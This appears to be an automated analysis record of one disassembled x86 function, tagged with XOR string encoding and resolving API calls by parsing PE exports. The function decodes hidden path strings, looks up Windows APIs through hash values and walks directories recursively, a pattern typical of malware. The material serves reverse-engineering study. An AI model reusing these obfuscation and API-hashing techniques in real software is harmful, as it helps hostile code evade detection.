Function at 0x418967
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2cc
push ebx
push ebp
push esi
push edi
push 5
mov dword [esp + 0x44], edx
xor esi, esi
mov dword [esp + 0x28], ecx
mov ebx, 0xff
mov dword [esp + 0x18], 0x59706922
mov byte [esp + 0x1c], 0x27
pop edx
movzx eax, byte [esp + esi + 0x14]
add ax, 3
and ax, bx
mov word [esp + esi*2 + 0x4c], ax
inc esi
cmp esi, edx
jl 0x418990
xor eax, eax
mov word [esp + 0x56], ax
lea eax, [esp + 0x4c]
push ecx
push eax
call fcn.0041b73a
mov ebx, eax
mov dword [esp + 0x1c], ebx
pop ecx
pop ecx
test ebx, ebx
je 0x418bda
lea eax, [esp + 0x88]
xor ecx, ecx
push eax
push ebx
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412ca7
call eax
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
mov ebp, eax
call fcn.00412ca7
mov esi, eax
mov dword [esp + 0x20], esi
cmp ebp, 0xffffffff
je 0x418bd3
mov ebx, dword [esp + 0x24]
mov word [esp + 0x1c], 0x5555
mov dword [esp + 0x28], 0x3b140b42
mov word [esp + 0x2c], 0xb42
mov byte [esp + 0x2e], 0x14
push 0x2e
pop eax
mov word [esp + 0x24], ax
xor eax, eax
mov word [esp + 0x26], ax
xor ecx, ecx
mov al, byte [esp + ecx + 0x1c]
xor al, 0x7b
movzx eax, al
mov word [esp + ecx*2 + 0x44], ax
inc ecx
cmp ecx, 2
jl 0x418a2e
xor eax, eax
xor ecx, ecx
mov word [esp + 0x48], ax
mov al, byte [esp + ecx + 0x28]
xor al, 0x67
movzx eax, al
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 7
jl 0x418a4b
xor eax, eax
mov word [esp + 0x66], ax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0xb8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x418bac
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xb8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x418bac
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0x5c]
push ebx
push eax
call fcn.0041b73a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x418bac
test byte [esp + 0x88], 0x10
je 0x418b27
mov dword [esp + 0x30], 0x217d622b
xor ecx, ecx
mov word [esp + 0x34], 0x622b
mov byte [esp + 0x36], 0x7d
mov al, byte [esp + ecx + 0x30]
xor al, 0xe
movzx eax, al
mov word [esp + ecx*2 + 0x68], ax
inc ecx
cmp ecx, 7
jl 0x418ade
xor eax, eax
mov word [esp + 0x76], ax
lea eax, [esp + 0xb4]
push eax
push dword [esp + 0x44]
lea eax, [esp + 0x70]
push eax
call fcn.0041b73a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x418ba1
mov edx, esi
mov ecx, edi
call fcn.00418967
jmp 0x418b9a
test byte [esp + 0x88], 0xa7
je 0x418ba5
push 5
mov dword [esp + 0x3c], 0x2a6e6720
xor ecx, ecx
mov word [esp + 0x40], 0x6720
mov esi, 0xff
mov byte [esp + 0x42], 0x6e
pop edx
movzx eax, byte [esp + ecx + 0x38]
add ax, dx
and ax, si
mov word [esp + ecx*2 + 0x78], ax
inc ecx
cmp ecx, 7
jl 0x418b4f
xor eax, eax
mov word [esp + 0x86], ax
lea eax, [esp + 0xb4]
push eax
push dword [esp + 0x44]
lea eax, [esp + 0x80]
push eax
call fcn.0041b73a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x418ba1
mov edx, esi
mov ecx, edi
call fcn.0041892c
push esi
call fcn.004056f0
pop ecx
mov esi, dword [esp + 0x20]
push edi
call fcn.004056f0
pop ecx
lea eax, [esp + 0x88]
push eax
push ebp
call esi
test eax, eax
jne 0x418a1d
xor ecx, ecx
mov edx, 0x83fbc401
push ebp
inc ecx
call fcn.00412ca7
call eax
mov ebx, dword [esp + 0x14]
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2cc
ret